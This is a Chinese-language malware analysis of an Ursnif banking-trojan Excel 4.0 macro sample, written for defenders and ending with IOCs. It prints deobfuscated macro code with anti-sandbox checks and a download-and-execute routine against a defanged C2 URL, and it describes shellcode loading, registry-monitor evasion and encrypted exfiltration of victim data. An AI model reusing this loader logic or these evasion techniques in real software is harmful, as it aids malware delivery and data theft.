Ursnif组织EXCEL4.0样本分析

前言

Ursnif是一种银行木马,是Gozi恶意软件的变体,主要与数据盗窃有关

基本信息

​ 样本为EXCEL4.0宏样本。 VBA是在Excel 5.0版中引入的,Excel 4.0宏(XLM)功能是在1992年的Excel版本4.0中引入的。因此这些较旧的XLM宏也称为Excel 4宏。 要使用Excel 4.0宏,不需要任何编程。 可以像功能一样使用它们 。 如果将它们与已定义的名称结合使用,可以实现非常有用的功能。而不怀好意的人正是利用这点来编写恶意的EXCEL4.0宏代码。而且这种方式产生的效果也让人意想不到,因为部分杀软并未对宏4.0进行良好的监控。

FileName MD5 FileSize
Abusech_ursnif.xls 0DD976DE7791A9839F9BC1EF3B9AD2E9 202240 bytes

流程图

excel样本执行宏代码从远程服务器下载恶意程序并执行

详细分析

使用olevba.py工具提取宏代码,存在大量隐藏sheet页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
' 0085     10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - zv
' 0085 17 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - OwTDOUQbs
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet3
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet4
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet5
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet6
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet7
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet8
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet9
' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet10
' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet11
' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet12
' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet13
' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet14
' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet15
' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden - Sheet16
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet1

olevba分析结果给出宏代码信息

1
2
3
4
5
6
7
8
9
10
11
12
13
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Auto_Open |Runs when the Excel Workbook is opened |
|Suspicious|Windows |May enumerate application windows (if |
| | |combined with Shell.Application object) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+

存在Auto_Open函数就好办了,使用Cerbero Suite对文档进行分析,可以看到函数入口在BC列906行

对宏代码进行分析,首先是一系列反分析手段

  • 将窗口置为最大化,随后检测窗口如果是隐藏或非最大化(反沙箱)

  • 判断宏代码是否单步模式执行(反调试)

  • 检测窗口长度宽度分别小于770,380(反沙箱)

  • 检测是否存在鼠标(反沙箱)

  • 检测是否存在音频设备(反沙箱)

  • 检测是否存在windows环境变量(反沙箱)

1
2
3
4
5
6
7
8
9
10
APP.MAXIMIZE()
IF(GET.WINDOW(7),$HN$8144(),)
IF(GET.WINDOW(20),,$HN$8144())
IF(GET.WINDOW(23)<3,$HN$8144(),)
IF(GET.WORKSPACE(31),$HN$8144(),)
IF(GET.WORKSPACE(13)<770,$HN$8144(),)
IF(GET.WORKSPACE(14)<380,$HN$8144(),)
IF(GET.WORKSPACE(19),,$HN$8144())
IF(GET.WORKSPACE(42),,$HN$8144())
IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,$HN$8144())

随后是一系列循环解密字符串

第一段循环解密字符串http[:]//link.rolandchase.com/setup.exe

1
2
3
4
5
6
7
8
9
10
11
$BJ$9452:SET.NAME("sIdeoxs","")
$BJ$9453:SET.NAME("KZsNfaPvE",HA$22625)
$BJ$9454:SET.NAME("FDIsm",$U$42807)
$BJ$9455:IF(FDIsm<>"hEciep")#TRUE hEciep是结束标志
$BJ$9456:SET.NAME("kFulzKssfStQ",FDIsm)#$U$42807++
$BJ$9457:SET.NAME("sIdeoxs",sIdeoxs&KZsNfaPvE())#http[:]//link.rolandchase.com/setup.exe
$BJ$9458:SET.NAME("cqYpbfFtqkDz",FDIsm)#$U$42807
$BJ$9459:SET.NAME("FDIsm",TEXTREF($HP$40210(),FALSE))#R1C1式引用 R42808C21 $U$42808++ 循环索引
$BJ$9460:$BJ$9455()
$BJ$9461:END.IF()
$BJ$9462:$BF$31421()

第二段循环解密字符串upeypgt.exe

1
2
3
4
5
6
7
8
9
10
11
$BF$31421:SET.NAME("kJYRBilGi","")
$BF$31422:SET.NAME("mBLgtgTuR",$HA$22625)
$BF$31423:SET.NAME("PrZqcgG",$HD$14373)
$BF$31424:IF(PrZqcgG<>"fKWWmps")fKWWmps是结束标志
$BF$31425:SET.NAME("kFulzKssfStQ",PrZqcgG)
$BF$31426:SET.NAME("kJYRBilGi",kJYRBilGi&mBLgtgTuR())
$BF$31427:SET.NAME("cqYpbfFtqkDz",PrZqcgG)#upeypgt.exe
$BF$31428:SET.NAME("PrZqcgG",TEXTREF($HP$40210(),FALSE))
$BF$31429:$BF$31424()
$BF$31430:END.IF()
$BF$31431:$CH$19157()

第三段循环解密字符串upeypgt.exe

1
2
3
4
5
6
7
8
9
10
11
$CH$19157:SET.NAME("HyuHXmIvF","")
$CH$19158:SET.NAME("cXBDj",$HA$22625)
$CH$19159:SET.NAME("DJRGluv",$GA$807)
$CH$19160:IF(DJRGluv<>"hsmFCYu")
$CH$19161:SET.NAME("kFulzKssfStQ",DJRGluv)
$CH$19162:SET.NAME("HyuHXmIvF",HyuHXmIvF&cXBDj())
$CH$19163:SET.NAME("cqYpbfFtqkDz",DJRGluv)
$CH$19164:SET.NAME("DJRGluv",TEXTREF($HP$40210(),FALSE))
$CH$19165:$CH$19160()
$CH$19166:END.IF()
$CH$19167:$HK$27313()

第四段循环解密字符串URLMON

1
2
3
4
5
6
7
8
9
10
11
$CH$27313:SET.NAME("GWZcUs","")
$CH$27314:SET.NAME("IBlTVpS",$HA$22625)
$CH$27315:SET.NAME("XkhQdDDe",$BE$2533)
$CH$27316:IF(XkhQdDDe<>"vBXelQd")
$CH$27317:SET.NAME("kFulzKssfStQ",XkhQdDDe)
$CH$27318:SET.NAME("GWZcUs",GWZcUs&IBlTVpS())
$CH$27319:SET.NAME("cqYpbfFtqkDz",XkhQdDDe)
$CH$27320:SET.NAME("XkhQdDDe",TEXTREF($HP$40210(),FALSE))
$CH$27321:$HK$27316()
$CH$27322:END.IF()
$CH$27323:$BR$49089()

第五段循环解密字符串URLDownLoadTofileA

1
2
3
4
5
6
7
8
9
10
11
$BR$49089:SET.NAME("qCvOwUEOU","")
$BR$49090:SET.NAME("QcsIPRaxs",$HA$22625)
$BR$49091:SET.NAME("WYFLem",$G$45045)
$BR$49092:IF(WYFLem<>"NZCVzYqQ")
$BR$49093:SET.NAME("kFulzKssfStQ",WYFLem)
$BR$49094:SET.NAME("qCvOwUEOU",qCvOwUEOU&QcsIPRaxs())
$BR$49095:SET.NAME("cqYpbfFtqkDz",WYFLem)
$BR$49096:SET.NAME("WYFLem",TEXTREF($HP$40210(),FALSE))
$BR$49097:$BR$49092()
$BR$49098:END.IF()
$BR$49099:$GG$7470()

第六段循环解密字符串JJCCJJ

1
2
3
4
5
6
7
8
9
10
11
$GG$7470:SET.NAME("WxwNDFwW","")
$GG$7471:SET.NAME("ydbKxT",$HA$22625)
$GG$7472:SET.NAME("JzOYHHt",$GN$47925)
$GG$7473:IF(JzOYHHt<>"cIDECHryG")
$GG$7474:SET.NAME("kFulzKssfStQ",JzOYHHt)
$GG$7475:SET.NAME("WxwNDFwW",WxwNDFwW&ydbKxT())
$GG$7476:SET.NAME("cqYpbfFtqkDz",JzOYHHt)
$GG$7477:SET.NAME("JzOYHHt",TEXTREF($HP$40210(),FALSE))
$GG$7478:$GG$7473()
$GG$7479:END.IF()
$GG$7480:$EI$6224()

后续还有十八次同样的操作,目的显然为了反分析和进行免杀,这里不再进行赘述

循环 变量
第七段 Shell32
第八段 ShellExecuteA
第九段 JJCCCCJ
第十段 Open
第十一段 regsvr32.exe
第十二段 rundll32.exe
第十三段 C:\EnmaMnK
第十四段 C:\EnmaMnK\WkSjVZz
第十五段 Kernel32
第十六段 CreateDirectoryA
第十七段 JCJ
第十八段 INSENG
第十九段 DownloadFile
第二十段 BCCJ
第二十一段 fCBdLcOS
第二十二段 wUahMZYo
第二十三段 hbtTtFyR
第二十四段 KuCJZBzQ

随后来到代码核心逻辑(解混淆后伪代码如下),尝试使用两种不同的方式从C2下载并执行样本(绕过杀软)

1
2
3
4
5
6
7
8
REGISTER("URLMON","URLDownloadToFileA","JJCCJJ","fCBdLcOS",,1,9)
URLDownloadToFileA(0,"http[:]//link.rolandchase.com/setup.exe","upeypgt.exe",0,0)
IF(Download fail)
REGISTER("INSENG","DownloadFile","BCJJ","wUahMZYXo",,1,9)
DownloadFile("http[:]//link.rolandchase.com/setup.exe","upeypgt.exe",1)
REGISTER("Shell32","ShellExecuteA","JJCCCCJ","KuCJZBzQ",,1,9)
ShellExecuteA(0,"Open","upeypgt.exe",,0,0)
HALT()

对下载回来的exe进行分析,首先看到一大堆垃圾代码,很明显是使用类似控制流平坦方式进行混淆干扰分析,实际很多分支根本不会进入

核心代码如下,首先使用全局变量保存kernel32.dll模块基址

申请大小为0xAAF8的堆空间,随后从.data段拷贝被加密过的shellcode到该空间,并修改内存属性为PAGE_EXECUTE_READWRITE

接下来就是对shellcode进行解密,解密算法是经过魔改过的微型加密算法(TEA),并在算法中也加入了很多无效函数

看来样本作者在免杀这方面也是下了不少功夫

无实质意义的循环0xEA7BB次(混淆代码)

最终跳转到shellcode代码执行

使用scdbg简单分析可知,shellcode动态获取函数并遍历进程模块(实际上并不会这么简单)

shellcode进行分析,首先是自实现hash算法遍历kernel32导出函数表(详细过程不再赘述,参考shellcode编写技术,通过FS寄存器获取模块基址,遍历导出表),动态获取``LoadLibrary以及GetProcAddress`函数地址

随后组合使用LoadLibraryGetProcAddress获取其他函数地址

获取的API名称如下

API LIST
GlobalAlloc
GetLastError
Sleep
VirtualAlloc
CreatToolhelp32Snapshot
Modul32First
CloseHandle

正如scdbg回显结果,调用了CreatToolhelp32Snapshot函数,但是发现这并不是shellcode的真实目的

动态解密shellcode代码

调用VirtualAlloc分配大小为0xB450的可执行内存

解密新的一段shellcode到新分配的内存并跳转执行

再次使用scdbg分析新的shellcode,也并未发现明显异常

对新的shellcode进行分析,首先是查找``kernel32.dll基址及GetProcAddress`地址(与第一次shellcode不同的地方在于这里使用的kernel32基址是从第一次shellcode中取得,而获取函数地址也是直接遍历了第一次shellcode中已经获取到导出表)

获取后续要用到的函数地址

获取的API名称如下

API LIST
LoadlibraryA
VirtualAlloc
VirtualProtect
VirtualFree
GetVersionExA
TerminateProcess
ExitProcess
SetErrorMode

清除程序的FLScallback函数,并没有什么实质作用(分析到最后处才明白这里是为了保证程序正常退出不会引起崩溃,因为堆栈被后续代码破坏)

再次分配大小为0xA600的内存,从第二段shellcode将内嵌的PE程序拷入新分配的内存

upeypgt.exe程序内存镜像起始地址0x400000内存属性修改为读写执行

将起始地址0x400000,大小0x10000,用0填充

shellcode实现PE loader功能,将shellcode中内嵌的PE加载到地址0x400000(类似傀儡进程)

随后释放掉为内嵌PE分配的内存

调用atexit注册好退出函数后跳转到已经展开的内存PE OEP处,当前退出回调函数并看起来是call 44444444h,后续会修正这个地址为TerminateProcess(这种写法的好处是不用进行堆栈修复,且不会引起程序异常崩溃)

分析内存PE,注册VEH处理函数进行反调试,触发异常后恢复执行流程

创建线程执行SleepEx,并向该线程APC队列插入回调函数

获取文件内存映像相关底层API

从内存中将抹除PE标志的DLL修复后拷贝到新申请的内存,又是一个内存PE程序

将DLL再次展开到另一块新分配的内存并执行

程序使用VEH进行反dump,首先将dll所在内存属性设置为NO_ACCESS,然后在拷贝时触发异常,使用注册好的VEH handle处理后即可访问

使用Jun 27 2020生成密钥

解密后续要用到的数据

获取当前运行进程权限

判断当前权限是否允许在证书中使用无效的通用名称;即应用程序指定的服务器名称与证书中的通用名称不匹配时仍可访问(也就是说,程序后续要通过HTTPS建立通信,但并不对证书进行验证)

格式化字符串Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1),这里看起来像是User-Agent,后续会有HTTPS访问

通过WMI StdRegProv类操作注册表,绕过杀软注册表监控

获取WMI provider的GetStringValue方法,通过注册表项检查IE路径,随后获取并通过GetVersion检测当前运行环境IE浏览器主版本号是否大于8

同样的手法,使用WMIprovider修改IE配置禁用IE首次打开提示

禁用IE提示设置为默认的 Web 浏览器弹窗

解密并格式化拼接字符串(字符串内容为终端相关信息配置)

“soft=3&version=250153&user=94c3ddbf476a706479841356dfae812f&server=12&id=8981&crc=1&uptime=27293”

10291029JSJUYNHG为密钥使用Serpent算法加密收集到的用户信息,随后使用base64进行编码

最后在完成加密的字符串前缀拼接上/images,后缀拼接上.avi并加上C2组成完整的url,然后通过com初始化IE浏览器关联的CLSID

通过IWebBrowser2接口,IWebBrowserApp测试并访问C2,将窃取到的信息回传到C2(在循环访问c2回传信息时,会夹杂着访问yahoo.com,实质上为了迷惑分析人员)

由于C2功能已经失效 ,因此在这里循环访问C2时,获取不到后续功能模块,导致死循环访问C2,编写OD脚本记录轮询C2列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

// 当EIP执行到这个地址的时候C2放在EAX中
MOV dwGetC2,002F7713
// 当EIP执行到这个地址的时候已经跳出循环
MOV dwLastCall,002F690c

// 清除所有软件断点
BC
// 清除所有硬件断点
BPHWCALL

// 设置硬件执行断点
BPHWS dwGetC2,"x"
BPHWS dwLastCall,"x"

FIND:
RUN

CASE1:
CMP eip,dwGetC2
JNE CASE2
dma eax, 100, "c:\dump.bin"
JMP FIND

CASE2:
CMP eip,dwLastCall
JNE FIND
MSG "BREAK LOOP"

最终得到如下信息(等待了很久,未得到C2正确返回恶意模块,一直在死循环中),由于C2地址本身为正常运营的网站,出于某种原因被Ursnif控制,因此网站仍可进行正常访问,只是恶意模块已被清除

到这里,窃密的基本功能已经分析完毕,很遗憾由于C2功能失效无法再对窃密之后的后续功能模块进行分析

IOC

C2
http[:]//link.rolandchase.com/setup.exe
https[:]//gstat.262productions.com
PE MD5
upeypgt.exe 7E7163283999B858DC83292F55BC4B5E
shellcodes1 E0B1600D07B2750AE6E80892B79C2132
shellcodes2 8971D8E24654E6F0AFE624C7D6A82111
内存PE1 A2B18DBA68CC5B76D05A0B9C7B7FB496
内存PE2 4F5697A5DEA383EFE93AFC4A9066E965

参考

EXCEL 4语法手册:https://d13ot9o61jdzpp.cloudfront.net/files/Excel%204.0%20Macro%20Functions%20Reference.pdf

IE注册表配置:https://www.fooher.com/20170503_75.html